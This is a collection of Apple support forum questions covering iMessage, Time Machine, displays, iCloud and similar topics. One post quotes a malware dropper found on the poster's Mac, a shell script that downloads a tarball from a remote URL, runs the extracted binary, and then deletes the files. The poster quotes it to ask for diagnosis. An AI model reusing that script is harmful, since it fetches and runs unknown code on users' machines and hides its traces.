texts: I'm having difficulty with the iMessage app in the sense that I would like to be able to send an iMessage from my IMac @home to my IPhone @On the road?  How do I do this without creating a different Apple ID for both? They are both mine - but I want to be able to communicate between the two.  Is this possible?  Thanks. Theresa


texts: Cron mail notifies error of suspicious unknown script

texts:
Thanks to the mail function of the Terminal it came to my attention that there was some kind of cron job being executed with some errors.

The mail of the cron gives this info:

2018-08-02 23:47:22.698 xSf[717:27543] *** Terminating app due to uncaught exception 'NSInvalidArgumentException', reason: '*** -[_NSPlaceholderData initWithBase64EncodedString:options:]: nil string argument'
*** First throw call stack:
(
    0   CoreFoundation                      0x00007fff57d622db __exceptionPreprocess + 171
    1   libobjc.A.dylib                     0x00007fff7eeffc76 objc_exception_throw + 48
    2   CoreFoundation                      0x00007fff57df3d7d +[NSException raise:format:] + 205
    3   Foundation                          0x00007fff59e028ee -[NSData(NSData) initWithBase64EncodedString:options:] + 84
    4   xSf                                 0x000000010b54fd19 INJECTOR_decryptData_RNCryptor + 121
    5   xSf                                 0x000000010b55010a -[l196gKNh f27WaC8u:path:] + 410
    6   xSf                                 0x000000010b54ff2e -[l196gKNh s7PJWuXO:] + 158
    7   xSf                                 0x000000010b552cd1 main + 225
    8   libdyld.dylib                       0x00007fff7fb19015 start + 1
)
libc++abi.dylib: terminating with uncaught exception of type NSException
/tmp/iu.sh: line 6:   717 Abort trap: 6           ./xSf

It seems this was executed by some script located in: ~/Library/sandastros.np/sandastros.np whose content I can't be able to read or decypher.

I checked that script located in /tmp/iu.sh that contains the following:

#!/bin/bash
/usr/bin/curl -s -L -o /var/tmp/xSf.tgz "https://s3.amazonaws.com/xsfer/xSf.tgz"
mkdir -p /var/tmp/xSf
tar -xzf /var/tmp/xSf.tgz -C /var/tmp/xSf/
cd /var/tmp/xSf/
./xSf

func_cccc(){
sleep 120
rm -rf /var/tmp/xSf
rm -rf /var/tmp/xSf.tgz
}
func_cccc &

That URL is reachable but I didn't want to download and open the tar file.
The /tmp folder permissions are properly set, though the iu.sh has my user as owner, so it seems allowing the installation of anything I might have given permissions to it.

Any clue about what is this?


texts: I just had a new ihone. I did my restore function and the only app that did not get back my data is killshot bravo.  does anyone know why.  I lost everything I had, guns money and gold in that game :((


texts:
I have a MBP, i5 CPU and 4G ram.

I run win7 using virtualbox and I allocate 2G ram for win7, only to find my Mac acts too slowly.

What can I do for that? Am I allocating too much ram?


texts: Repairing permissions or restoring /Applications in Sierra?

texts:
I did a couple of idiot commands in sudo on /Applications and at least one non-Apple app now doesn't work.  (Several others do, but I haven't tried all five hundred.)

"Repair Permissions" no longer exists in Disk Utility, and Time Machine refuses to restore /Applications.

How does one fix such a problem?  I can copy the app that doesn't work from another Mac, but that's not a solution for everyone (nor for apps acquired or updated after that MB was retired.).

I re-installed the one app that didn't work and haven't yet found any others.  But forbidding a restore in /Applications when SIP doesn't prevent breaking things sounds like a bug to me.


texts: Applescript: open finder window displaying all files with certain tag. Possible?

texts:
It's easy to write an Applescript to open a Finder window to a certain folder, e.g.

tell application "Finder" to open "Macintosh HD:Users:Username:Downloads"

Is it possible for Applescript to open a Finder window showing all files tagged, for instance, green?

Thanks!


texts: How to check Apple ID store balance without iTunes or iPhone?

texts:
How can someone check their balance without an iOS/OS X device and without installing iTunes?

For example if you lost or disposed of an old Apple device or simply left it at home... There must be a way to find out if you have any credit left


texts: Remove applications in virtual machine (via VMWare Fusion) from Open With options on Mac OS X

texts:
I am running Windows 7 in a virtual machine. Now all of its applications are available via the Open With (or even as the default for some) on the Mac. I don't want them there. I've remapped the ones where it was the default, but it is still listed on the Open With menu. How can I remove all of them?

I have shared folders turned off.

I've seen this with Parallels too, and I thought I saw a option to turn it off, but I cannot find it.


texts: What should I be looking for in a used iPod touch?

texts: I am considering buying a used iPod touch. I really don't know too much about buying used iPod touches. What should I watch out for when I am looking at used iPod touches? (If it makes any difference, I am going with Craigslist rather than Ebay)


texts: Mojave Install Problem - no WiFi hdware installed

texts: Twice I have tried to upgrade to Mojave. After the install the MacBook Pro is very slow and I get the message that no WiFi hardware installed. Anyone have this problem?


texts: Why can’t I update my password setting for the App Store?

texts: I went into “account” then “password settings” but it’s not letting me change settings and I don’t have Touch ID set up


texts: How to access iPhone text messages without iPhone?

texts:
Is there any way to access my iPhone text messages on my PC without using my iPhone?

Otherwise, is there any way to have a second copy of my iPhone text messages
sent to my gmail?


texts: I have two iCloud accounts. How do I address all backups to one single account?

texts: I have two devices (Iphone 6plus and Ipad air) with IOS 9 and one macbook pro (Yosemite). I also have two iCloud accounts. I want to backup all my data in just one iCloud and setup everything to backup in the main one where I have an storage plan. However, I continue receiving messages from the "unwanted" iCloud account, telling me that my store (basic 5GB) is over, meaning that something is still being backup in this account. What can I do to solve this? thanks for your support


texts: Setup automatic toggle of screen mirror on mbp when external display is powered on/off

texts: I have a MBP with touch bar and an external display attached. By default I use extended screen. In case of power failure, the monitor is switched off, but the windows attached to the second screen do not come back to the primary display. I have to toggle mirroring option manually every time. Is there a way to tell mac that external display is powered on or off and update preference accordingly?


texts: How to connect Macbook to Windows in the wireless mode?

texts:
I have a Windows and MacBook. I use Windows for my Visual Studio - Xamarin App programming. I connect Macbook to the Windows using USB Port. Both are shared. When i run the project in Windows, I can view the iPhone Simulator on my Macbook.

Now, i am in the process of considering "Go to my PC" Citrix online which i connect my Windows from  Macbook.

My question is, without using USB cable to connect windows, is there a way to connect wireless.

i.e. From any network, Connect the Windows through Go to my pc and run the project. Upon running the project the iPhone Simulator should show up in the Macbook.


texts:
With my 2012 MacBook Pro, I'm trying to reinstall Mac OS X (any version that will work) onto a new Solid State Drive that replaced a broken one. I can get to the Internet Recovery screen just fine when directly connected to the Internet (ethernet). The problem lies AFTER the Internet Recovery installation succeeds.

There really isn't a good way to describe what happens because the laptop seems to be trying to decide whether or not there is a problem or not. Here is a link to a YouTube video I've uploaded of the problem:

YouTube Video of Problem

After this happens for a while, it resolves to just the blinking "?" Folder Icon.

I do not have access to another Mac computer.


texts: Shortcut for toggling between different windows of same app?

texts:
I opened two Google Chrome windows (because I am using multiple Gmails) and when I do the Cmd ⌘ Tab ⇥ shortcut it just shows me other applications that I opened but does not show me the other Chrome windows that are already opened.

How to switch to the other Google Chrome window that I opened using keyboard shortcut?


texts: OSX Sierra doc moves itself to another monitor

texts: When running two external monitors in OS X Sierra, my dock sometimes changes which display it is located on.   Is there a setting to stop this from happening?  This happens at random times, and I can't reproduce the issue.


texts: Scroll bars don't work for iCloud photos on Windows 10 pc

texts:
Bring up iCloud photos in a browser (tried chrome, ie and edge) on Windows 10 PC and the scroll bar can't be clicked on and dragged.
Works just fine on my Mac and other Windows 10 PC.
Any help????


texts: What's the best way to consolidate contacts from multiple Apple devices into a single contact library?

texts: I need to consolidate Contacts libraries from multiple devices (Win notebook w/Outlook, iPhone, a couple of Macs, a couple of iPads) into a single library. Then to have all devices using, and updating/synching, a common contacts library.


texts: Having trouble deleting old Time Machine back-ups after a restore

texts:
Due to migrating several computers over time, my MacBook Pro was bogged down with lots (and lots!) of old apps, files, etc. that I wanted to get rid of. So, I backed up to Time Machine as usual, then wiped the HD and restored from Time Machine. Except I excluded the Applications folder so that I could pick only the ones I wanted to carry over to the newly restored HD.

Everything went fine. Except now when it tries to back up I get an error message:

This backup is too large for the backup disk. The backup requires XXX.XX GB but only XX.XX GB are available.
Time Machine needs work space on the backup disk, in addition to the space required to store backups. Open Time Machine preferences to select a larger backup disk or make the backup smaller by excluding files.

It seems that when I restored and then backed up, it treated that like a new computer and parsed out the HD space because when I open Time Machine I can only see the back-ups since I restored. But given that it's telling me there isn't enough room, I'm fairly certain they're still in there somewhere.

Can anyone tell me how I might access those old back-ups and in turn delete some of the older ones so I have enough space for my new ones? I have looked in the files and found the backups.backupbd file, but I'm concerned that is only for the newest one in there so I don't want to delete that one. Obviously, I no longer have "access" to the previous Mac as it's been overwritten.

Any suggestions?


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I have a 2014 Macbook Air running Yosemite 10.10.2 that is "soft freezing" regularly. By that I mean that the (built-in) keyboard and trackpad do not respond at all anymore, but I can see that if there were any animated webpages running at the time of the freeze, the animation continues to run, meaning that at the very least the GPU and Safari seem to be still running.

Note: I've had a Bluetooth mouse connected (which also remains completely unresponsive after the freeze) the last times it has frozen, I can't recall whether that was always the case.

These are the last lines of my system logs the last time it froze:

29/3/15 19:59:00,731 CoreServicesUIAgent[223]: unexpected message <OS_xpc_error: <error: 0x7fff7cee9c60> { count = 1, contents =
        "XPCErrorDescription" => <string: 0x7fff7cee9f70> { length = 18, contents = "Connection invalid" }
}>
29/3/15 19:59:15,971 com.apple.xpc.launchd[1]: (com.apple.imfoundation.IMRemoteURLConnectionAgent) The _DirtyJetsamMemoryLimit key is not available on this platform.
29/3/15 19:59:34,000 kernel[0]: [IOBluetoothHCIController][ProcessEventDataWL] -- Destroying device even though we had an error on disconnection -- calling DestroyDeviceWithDisconnectionResults()
29/3/15 19:59:34,500 loginwindow[67]: Preferred Localizations total: 1 contents (
    es
)
29/3/15 20:01:25,000 bootlog[0]: BOOT_TIME 1427652085 0

Any ideas on what could be causing this?


texts:
We recently upgraded from Snow Leopard to El Capitan to use the Safari AirPlay feature for embedded HTML5 Videos.

On videos (e.g. YouTube) we see that AirPlay symbol but it is grey and clicking on it shows something like "looking for devices".

The strange thing is that in iTunes everything works fine. We can select our AirPlay speaker and successfully play music from iTunes.

So why can't I stream music from HTML5 videos to my audio system, when iTunes works perfectly?

Network:
Computer is connected via WLAN to an AirPortExpress. The audio system is plugged into the AirPort via this round headphones cable.


texts: How can I run automated GUI tests for JVM apps without interrupting my work?

texts:
I need to write automated GUI tests for apps built with and running on OpenJDK 14 (Swing & JFX) on Catalina.
This is easy, but when the tests are running the windows pop up on my screen, taking focus and interrupting my work.
On Linux I use xvfb to create a new virtual display (say 99) and run my tests with the environment variable DISPLAY=:99 and all is good.
However, OpenJDK on OS/X no longer has X11 bindings, so it is not possible to target an X11 environment.
Is there a way to do the equivalent on OS/X? I was wondering about scripting the creation of a new Desktop, without making it the currently displayed one, and ensuring that it is used as the Desktop on which to launch the app, but I haven't worked out how.
Prior research:
No answer to Is there a Mac-native equivalent of xvfb for running on a headless Mac server?


texts: Annotate/Highlight Safari webpages, and preserve highlights forever

texts:
I am looking for a Safari extension or a built-in tool to highlight or annotate webpages. I want to be able to add notes and shapes that are preserved forever.

I've already tried Liner and Highlight to share, but couldn't find other tools.

Edit:

I found an extension called Highlighter for Safari, I bought it and refunded it right away, because it access the following permissions:


texts: If I'm an Apple iOS developer, can I do iOS upgrades, downgrades within the registered devices?

texts:
I have an iPad 2 GSM with iOS 4.3.5 that I would like to upgrade to iOS 5.1.1.

I tried to upgrade using an Apple 5.1.1 image, without success due to the signing window for 5.1.1 being closed.

If I enroll in the Apple Developer program ($$$) will it be possible for me to upgrade to iOS 5.1.1? How about downgrade to other versions (e.g. 4.1)?


texts: Does macOS have something like Linux's binfmt_misc feature?

texts: Linux has binfmt_misc which allows arbitrary executable file formats to be recognized and passed to certain user space applications. Does macOS have a similar feature?


texts: Changing right-hand Command & Alt key order to be like a Windows keyboard

texts:
I would like to switch the Right Command (⌘) Key order with the Alt Key under the System Preferences (to be just like Windows) but there appears to be no option under System Preferences.

Does anyone know how to move these keys' locations using Karabiner-Elements or some other software?  In this case we would swap the right-hand Alt and Command keys.

(source: tekrevue.com)


texts: adjust battery-warning-level of magic mouse

texts:
How can I adjust the level at which Mac OS warns me about the battery of my magic mouse?
I always have a lack of batteries, so I would prefer if the battery warning comes up at 15 or 20%, so I could work the rest of the day with the almost empty batteries and put them in the charger before I go to sleep.

Right now, if the warning occurs in the morning I have a problem.
I tried to steal the batteries out of my girlfriends camera or her wireless keyboard, but she does karate and defends her batteries.
Buying another set is not an option.

A way to get the battery level via applescript, shellscript, automator, whatever would be applicable too.


texts: Password with £ when using security add-generic-password / find-generic-password

texts:
How do I add/retrieve a password that contains £ using security add-generic-password and security find-generic-password?
security add-generic-password -a username -s "test" -w abc -U
security find-generic-password -a username -s "test" -w # output: abc
security add-generic-password -a username -s "test" -w abc£ -U
security find-generic-password -a username -s "test" -w # output: 616263c2a3


texts: iPad and iPhone calendar: same settings, different google calendars

texts:
Standard calendar app in iPad and iPhone show different calendars, while settings on "preferences/email, contacts and calendars" and in the standard calendar on both devices are equal, as far as i can see.
• On my iPad (mini iOs 6.1.3), my google(exchange) account shows just 1 calendar (with my google-address as name)
• On my iPhone (4s iOs 6.1.3), my google(exchange) account shows 6 calendars (with specified names, as online)
iCloud and others on both devices show same calendars.
How to let both devices show the same calendars?
(and yes, on both devices i've already went to www.google.com/calendar/iphoneselect and selected all ;)


texts: How to get pass "Downloading Windows support software" in Boot Camp Assistant?

texts:
I am having a problem in my Windows laptop, so I need to make a Windows 10 bootable to repair/restore it.

I am using  a Mac for making the bootable for the PC.
I downloaded the windows 10 .iso file and started bootcamp to make the bootable.
The process seems to get hanged at "Downloading Windows support software" step.
I tried keeping it overnight, no change in the progress bar. Just stuck there at 50/60%.


texts:
why am i receiving more emails (gmail) on my ipad than on my laptop. I seem to be getting more email posted to my Ipad than to my laptop.  This morning I received 7 more emails on my Ipad than on my laptop.  Granted they were websites that have something to sell but I have asked for these. Why are they not showing up on my laptop.
Thanks


texts: Launch quicklook from the command line in full screen mode

texts: Is it possible to launch quicklook from the command line in full screen? qlmanage does not seem to have any option for that.


texts: iPhoto on Mac doesn't download the full iCloud photo library

texts:
My iCloud account is already set up and contains several years worth of photos.

If I log in to my iCloud account from a new iPad, I understand that only the last 60 days worth of photos will be downloaded to the iPad.

But I had also understood that if I log in to my iCloud account on new Macbook, all the iCloud photo library, not just the last 60 days, will appear in iPhoto/Photo (after setting the appropriate iCloud System Preferences, and the iCloud preferences within iPhoto/Photos).

Yet even on a Mac I am only getting the last 60 days of photos. How do I get iPhoto/Photos to download the full iCloud photo library?


texts: Is there a list of commands unique to the OS X terminal?

texts:
I tend to find out about unique OS X terminal commands piecemeal. As problems arise, or as I read askdifferent, I'll find out about handy things like mdls and mdfind.

Is there a place that lists all the unique OS X commands and gives me an overview of what they do?


texts: How to remove the default application for opening a file?

texts: How do you remove the default open with application for a file extension? Not change it but remove it so when I try to open it a popup says "There is no application set to open the document “file.blabla”.


texts:
I've been having sporadic issues where my Macbook Pro Retina hangs at startup.  I started up in verbose mode and it always hangs at this message.

AppleUSBMultitouchDriver::checkStatus - received Status Packet, Payload 2: device was reinitialized

After several minutes it continues with these two message.

IO80211Controller::dataLinkLayerAttachComplete():  adding AppleEFINVRAM notification
IO80211Interface::efiNVRAMPublished():

What do those messages mean?


texts: Domain Name Resolution (DNS) stops working randomly

texts:
While browsing and using the web, DNS stops working. Open web-chats like Google Hangouts keep working, but opening new websites, Skype, and others are stuck to "Resolving host name".

This happens randomly, sometimes when I return from sleep mode, others when I switch from WiFi to ETH, others just while doing nothing in particular.
I tried things suggested in DNS not resolving on Mac OS X without any success.

Moreover, I can resolve the problem if I reboot the Mac entirely, but I want to figure out 1) why its happening and 2) how to fix it once and for all!

I'm running 10.11.1 (15B42)
I'm on a home network, my ISP is Kabel Deutchland
My router doesn't accept "custom" DNS servers and I can only change them in every client.
I am using Google DNS servers since sometime while trying to solve the problem.


texts: Finder asks for password to move file to trash

texts:
Recently, the Finder has asked me for a password whenever I move a file to the trash.  I get the message, "Finder wants to move 'filename' to the trash.  Enter your password to allow this".  I checked permissions on ~/.Trash, and it belongs to me/staff with drwx------ permissions, as expected.  This happens with any file I try to delete, and I have full permissions on the files I'm deleting.  When I enter the password, the file is moved to the trash (and not immediately deleted) as normal.
This is on Mojave 10.14.6, and it started happening after I installed security update 2021-003 (though I don't remember if it started happening immediately after that).
Note that I can move files to the trash from a command line.  mv blah.txt ~\.Trash works just fine (no sudo needed).  It's only when I drag a file to the trash that I have problems.


texts: Is there a keyboard shortcut for inserting MathType equations in Pages?

texts:
I have more and more thoughts about taking my class notes on my computer, and Pages '09 would seem like a good candidate for that task. However, being that I have a lot of technical classes, I find myself needing to insert MathType equations very often.

Is there a keyboard shortcut to insert such an equation? If not, can I somehow make one?


texts: Inverse trigonometric functions in Calculator

texts:
Is there a way to calculate inverse trigonometric functions in El Capitan's Calculator (ie. arcsine, arccosine, arctangent, etc.)? I've tried the usual alt, cmd, ctrl modifiers with the sin/cos/tan buttons to no avail. I'm especially annoyed because Spotlight does calculate arctangents and the result is claimed to come from Calculator itself, so I don't know if they dumbed the interface down or what.

Examples of operations that work from Spotlight but I have no clue how to do from Calculator:

atan(1)  # arctangent of 1 in radians
atand(1) # arctangent of 1 in degrees


texts: Copying mp3 files to an iPad or iPod without iTunes? (from Windows, Mac or Linux)

texts:
I'm looking for a way to copy a set of mp3 files to my iPad, and/or perhaps even my old iPod.

A long time ago I used to do this with iTunes which I strongly dislike, but it seemed to be the only option at the time. Recently tried again but couldn't get it to work anymore, and since Apple is gonna phase out iTunes, I'm wondering is there an alternative way?

Preferably I'm looking for a universal solution to do this from Windows, as well as macOs, as well as Linux. But either one of them would already be great.


texts:
I messed up when installing Cisco Packet Tracer for Linux and it some how changed a few bash files. After a few hours of looking around and changing my PATH, when I open a new Terminal window I get a message of every PATH that I've had (I think).

Last login: Wed Apr 10 14:38:52 on ttys000
PATH="/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/Library/TeX/texbin:/usr/local/share/dotnet:/opt/X11/bin:~/.dotnet/tools:/Applications/Server.app/Contents/ServerRoot/usr/bin:/Applications/Server.app/Contents/ServerRoot/usr/sbin:/Library/Frameworks/Mono.framework/Versions/Current/Commands:/Applications/Wireshark.app/Contents/MacOS:/Applications/Xamarin Workbooks.app/Contents/SharedSupport/path-bin"; export PATH;

I have tried to reset my PATH without any luck. The same message appears. It is as if it executes it at every new session.

Which file am I suppose to change to make it work?
EDIT:
when I run as suggested: grep PATH ~/.bash_profile ~/.bash_login

I get:


texts: What command line tool can I install on a Mac to play music?

texts:
I want to install a tool different from mplayer on a mac to play music. I want to be able to play mp3 music files that are in a folder, either in order or randomly. I.e. I want to do something like
player files/*
player -shuffle files/*

with some key shortcuts to pause and skip to the next title.
What other command line too is there I can try?


texts: How to play every album of an artist in sequence with the new music app?

texts:
With the old music app I was able to select an artist and listen to every music by album. Now it orders the musics alphabetically and unless I want to hear the same music N times I have to use shuffle.

Is is possible to just select an artist and play every album with making a playlist?


texts: Think my Dad may have just downloaded the Apple Security Malware

texts:
My dad doesn't use a Virus checker (doesnt disable Java either and isn't running the latest OSX) and just appears to have fallen for the Apple Security malware popup (looked and sounded something like this thread https://discussions.apple.com/thread/7861498) tried to save him over the phone - did a force quit, he restarted Safari, it now had a timer, he got in a panic and clicked scan now (& I am not 100% what happened next as he hung up to do whatever he did).

I called him back and got him to switch it off and Pull the internet cable out of the back and switch off which may have partly saved him. I am expecting given the time taken it has downloaded whatever payload it may have been hiding. Have a screenshot but not sure how to post it from my phone - looked like the one in the thread.

Any idea what it is and how to remove it? Thinking about it I don't think he would have put his password in so I am thinking what it downloaded was probably just malware and unlikely to have been an App?

I live a couple of miles away so will go and try and help them tomorrow - just want to have an idea of what I am dealing with.

Thanks in advance for any advice or suggestions.


texts:
After updating my iPhone 11 to iOS 14 I've noticed that I constantly face issues with my WiFi network.
What happens is that you use the Internet and suddenly notice that webpage is stuck or whatever indicating network issues. WiFi is connected with no Internet connection though. A while later (usually 1 min or less) a connection is re-established (it just starts working again) and everything works fine.
What's interesting is that this only happens to 5G WiFi network and only this device is experiencing such a problem.
When using 2.4G there is no problems and connection is always stable.
I've already tried resetting the network settings with no success though.
Is there anything that can be done? (without full reset)


texts: Endless loop of iCloud prompt rendering iPad unusable

texts:
I hadn't used my iPad in some time, and recently tried powering it back on.  As soon as iOS starts up, I am prompted to enter my iCloud password. My home WiFi network has changed since the last time I used the iPad, so there is no internet access.  The iPad won't accept what I believe to be the password for my Apple ID the last time I used it (I have since changed it, but imagine it's expecting me to enter a cached password since the device hasn't been in contact with Apple's servers in some time).

I'm unable to connect to my new WiFi network since the iCloud prompt appears every second after hitting cancel.  Is there any way out of this loop?  I've tried restoring the device via iTunes, but it tells me that that Find my iPad has to be disabled before doing a restore (which, of course, requires entering the iCloud password).


texts: How can I tell whether an iOS game/app saves its data to iCloud?

texts: I'd like to delete a game off of an iOS device but I would prefer to not lose my progress in case I want to return. Is there any way of checking whether the game/app puts the game save either in iCloud or another external service?


texts: Run an AppleScript remotely from another Mac or iOS device

texts:
I have an AppleScript on my Mac (which controls VLC and Airfoil to play internet radio through some Airplay devices) and I want to be able to run the script by doing a simple action, i.e. one or two clicks or taps, on another Mac, iPhone or iPad on the same network.

I could write a simple Python web app and save its URL as a shortcut on the other devices, but is there any other method I haven't thought of?

(I know that I can enable remote AppleEvents and run scripts from AppleScript on a remote Mac but I don't know of an equivalent from iOS - Shortcuts in iOS 12 doesn't seem to have anything.)


texts:
I a friend of mine just bought me a LG35WN65C-B 35'' and I'm struggling with the resolutions. First of all, is this monitor compatible with the MacBook Pro 16? If so, why I can't match the resolutions? I've seen a lot of people in YouTube with this monitor connected to a MacBook Pro. I've try the following:

Connect the monitor through HDMI to an adapter to the MacBook
Open "Displays settings" press "Option Key" but I can't see the monitors resolution

Have I to give back the monitor to the shop or is there any solution?
I appreciate your help.


texts: Is it possible to change the completion key (escape) to command for instance? How?


texts: How can I edit translated video on a Mac?

texts:
There is a movie on my Macbook which has some some inappropriate scenes that I want to edit so I can watch the movie with my family.

I know how to cut scenes (trim) using Quicktime but this will confuse the translation timing on the film (.srt file)

I am wondering how to make the scene freeze (fixed) while the unwanted scene is playing or better, a program that would adjust the timing of the subtitles to match scenes cut so that we didn't have to fast forward through whatever the "censored" still frames look like?


texts:
I have found out that sometimes I get text message notifications but sometimes I don’t. This is rather frustrating because I have been sent a text 30 mins before and I didn’t realise this until I physically checked the messages, only to see that I have actually gotten a text and not been notified. Sometimes I do get the notifications, everything is switched on and I am not in Do Not Disturb mode. Is this a hardware issue or could it be a buggy update?
IOS 14.2


texts: I just set up family share and my account is listed in my son's iCloud settings. How do I change this so he is the primary account on his device?


texts:
When I open Google Chrome app, my webcam seemingly starts recording, i.e. green light next to iSight lightens. What is happening?

Edit: I went to System Preferences -> Sharing and saw that everything is turned off. Then I went to Activity Monitor and searched for "camera" saw some process which I killed then and the light turned off.

After restarting Google Chrome app, camera again turns on.


texts: The iTunes currently-playing track is blank; how do I get it back?

texts:
I'm using iTunes 11.1.2 on the Mac. The top center of iTunes has an area that normally shows the currently-playing track (title, artist, album, etc.) with the track time slider. (Apparently this is called the "scrubber".)

After a recent Software Update, that area is now empty; it just has the Apple logo. I can't find any way to make the track data and time slider appear again (clicking and right-clicking does nothing, the View menu doesn't have an option for this, etc.).

How can I get this to reappear?


texts: How to get ongoing notifications of unread texts?

texts:
One of my family members texts me at night when they are having nightmares. I want to know when they text me at 4 am instead of sleeping through it.

Is there a way to make text notifications keep going off until read?


texts: How can I make Logitech a 4K PRO MAGNETIC WEBCAM work with a mid-2011 Mac mini?

texts:
I have a Logitech 4K PRO MAGNETIC WEBCAM which I bought to use with a mid-2011 Mac mini, 2.3 GHz, running High Sierra.
I've used an Apple Thunderbolt 3 to Thunderbolt 2 adapter and a Thunderbolt cable to plug the webcam in, using the Thunderbolt 2 port of the Mac mini.

It is built to work with the Apple Pro Display XDR. I inferred from the technical specs that it should work with other hardware like 2018 MacBook Pro, just not at 4K so I hope my inference holds for my Mac.

I hoped the adaptor would overcome the lack of a USB-C/Thunderbolt 3 port on my Mac mini; the Thunderbolt 3 to 2 adapter is fully bidirectional for many other devices.

https://www.apple.com/uk/shop/product/HMUC2Z/A/logitech-4k-pro-magnetic-webcam-for-pro-display-xdr
https://www.logitech.com/en-us/product/4k-pro-magnetic-webcam

However, it does not work. If I run an app like Photo Booth it says, 'There is no connected camera.' I do not see the webcam in system information. Apparently, it should appear under Privacy settings, if nowhere else.

What can I do to make it work, please?

I appreciate that I'm not running the latest OS, however, the latest one is Catalina, and presumably the webcam will work on the version after Catalina, as well as continuing to work on Catalina, so I don't see 'latest OS' as being restrictive.


texts: iOS app search ads keyword tool says "You have no more recommended keywords for this app"

texts:
We use the keyword popularity indicator under Advanced campaign editor at http://app.searchads.apple.com (described here) to determine the popularity for keywords in the App Store.

However, as of today, when we enter a keyword, it says: "You have no more recommended keywords for this app" as shown in the screenshot.

What does this exactly mean? Is there some rate limiting on using keyword recommendations? If so, what are the limitations?


texts: Why does a system upgrade take so long if there are files in '/usr/local'?

texts:
My recent upgrade to Yosemite (from Mavericks) took about 6 hours, nearly all of which time was used in processing the contents of /usr/local (e.g. TeX, etc.).

What is the upgrade process doing with these files that takes so long? Could I accelerate future updates by simply backing up these files, clearing the directory, and copying them manually after the update, or is the update process doing something critical with them?


texts: Gmail messages seen on iPhone do not appear in Mail App

texts:
I am a heavy user of Google Apps email.

After the upgrade (?) to Mavericks, I find that any mail that I have already first seen on my iPhone does NOT appear in my Mail app on the MacBook Air.

What settings do I have wrong in my Mail app set up? Or Google Apps set up?


texts: What is causing Word to start selecting text while I type?

texts:
Periodically while typing in Word on a 2019 MacBook Pro, my keystrokes are captured by some sort of search mode that causes them to select text instead. In the example below, while I was typing "synonym", the letter "n" did not print to the screen, but caused the selection of text until the next "n" in the paragraph. Then when I typed the letter "p", the selection expanded to cover the next letter "p".

What is making me enter this mode and causing Word to select text by itself like this? Is it related to brushing the touchpad somehow?
Update: This seems to happen especially when I type the letter "y". And it also happens in Outlook.


texts:
During the course of developing email campaigns I use my own iPhone as one of many testing devices.  The problem is, if I modify an image, I must modify the name of the file and the link to it in the code as well because my iOS device will incessantly reload the cached image from the previous test if I try use the same file name.

Is there any way to turn this caching off so that the images are downloaded each and every time?  I can't even seem to find a way to purge the cache.


texts: How do I disable ALL password prompts in Yosemite?

texts: Have searched far and wide with no answers.  I want to never enter any passwords again for my entire OS X experience (except internet passwords, of course).  Please do not answer "it's a bad idea"; I know the risks, and they are mine to take.


texts: Random shutdowns that look like kernel panic

texts:
But with no sign of kernel panic in the console. The screen just turns black all of a sudden, but the backlight stays on. After up to 10 seconds, it shuts down completely. People I talked to over Apple chat were convinced it was a battery problem, but the battery drains normally, and the problem appears with or without the power cable connected. They had me reset NVRAM and SMC, still no change. I booted into a linux distro from an external drive and used it for more than 12 hours without any interruption. Although not definitive, this strongly suggests that this might be a software problem rather than an hardware problem. If so, how could I pinpoint a problem that doesn't show up in the console? I'm using 10.11.6.

Edit: I should also add that this happens in irregular intervals. It can be as frequent as once in 20 minutes, or as sporadic as every 5 hours.


texts: My MacBook Pro runs El Capitan. I have a Nokia N900 connected via USB. I am trying to access remotely its shell by the ssh protocol. How may I?


texts: Multiple Displays Crashes with El Capitan

texts:
My dad has a Mac Pro (2009 era) and runs 3 monitors hooked up with DisplayPort. They are not high-res and only about 24". Nothing that a Mac Pro should have any issues with. Everything worked well until he upgraded to El Capitan last week. Almost immediately, it crashed to the login screen. I spent a while troubleshooting the problem and all of the crash reports point to graphics problems (which seems apparent). Right now, he is down to one monitor to mostly rule out the crashes. I found that disabling "each display on it's own space" helped, but if he is working with one display and a notification comes in on the other one, it will consistently crash.

I'm not sure what else to try. Is there a way that we could get him back up to the three monitors? I understand that these problems could point a potential graphics card problem, but I don't think that is the problem considering the direct correlation to the OS upgrade and the crashing. I also haven't been able to find others with similar problems.

I have tried:

Multiple Reboots
Disable: "Preferences -> Mission Control -> Displays have separate Spaces"
Disable: "Preferences -> Mission Control -> Automatically rearrange Spaces based on most recent use"
Confirm that "Automatic Graphics Switching" didn't exist on his machine
More reboots


texts:
In text editor my quotation marks keep getting replaced by non ascii versions.

So if I am editing an XML document the double vertical line type quotation mark keeps getting auto-replaced by the curly type that breaks the XML document.

I have turned off the Text replacement option in preferences but it keeps happening.


texts: SMART disabled on new MacBook Pro 13 Retina (ForceTouch)

texts:
I just wanted to see some of the SSD parameters on my freshly purchased MacBook Pro retina and found out that SMART support is obviously disabled by default.

Is this intended and if so, why? I'm using smartmontools to read out the information…

> $ smartctl -a /dev/disk0
smartctl 6.4 2015-06-04 r4109 [x86_64-apple-darwin14.3.0] (local build)
Copyright (C) 2002-15, Bruce Allen, Christian Franke, www.smartmontools.org

=== START OF INFORMATION SECTION ===
Device Model:     APPLE SSD SM0256G
Serial Number:    *censored*
LU WWN Device Id: *censored*
Firmware Version: BXW1JA0Q
User Capacity:    251,000,193,024 bytes [251 GB]
Sector Sizes:     512 bytes logical, 4096 bytes physical
Rotation Rate:    Solid State Device
Device is:        Not in smartctl database [for details use: -P showall]
ATA Version is:   ATA8-ACS T13/1699-D revision 4c
SATA Version is:  SATA 3.0, 6.0 Gb/s (current: 6.0 Gb/s)
Local Time is:    Thu Jul  2 08:58:52 2015 CEST
SMART support is: Available - device has SMART capability.
SMART support is: Disabled

EDIT:

It would be great if someone else could also confirm that SMART is disabled by default. You simply have to install smartmontools via brew.

brew install smartmontools

and then check the status via

smartctl -a /dev/disk0

UPDATE:

Without changing anything, I noticed today that it apparently switched itself to enable. I'm not sure when this happened but I installed several Mac OS X updates, so probably this was fixed by (at least) one of them. Here is the new output:

=== START OF INFORMATION SECTION ===
Device Model:     APPLE SSD SM0256G
Serial Number:    *censored*
LU WWN Device Id: *censored*
Firmware Version: BXW1JA0Q
User Capacity:    251,000,193,024 bytes [251 GB]
Sector Sizes:     512 bytes logical, 4096 bytes physical
Rotation Rate:    Solid State Device
Device is:        Not in smartctl database [for details use: -P showall]
ATA Version is:   ATA8-ACS T13/1699-D revision 4c
SATA Version is:  SATA 3.0, 6.0 Gb/s (current: 6.0 Gb/s)
Local Time is:    Mon Jan 25 09:09:44 2016 CET
SMART support is: Available - device has SMART capability.
SMART support is: Enabled


texts: How do I mount ejected external USB flash storage?

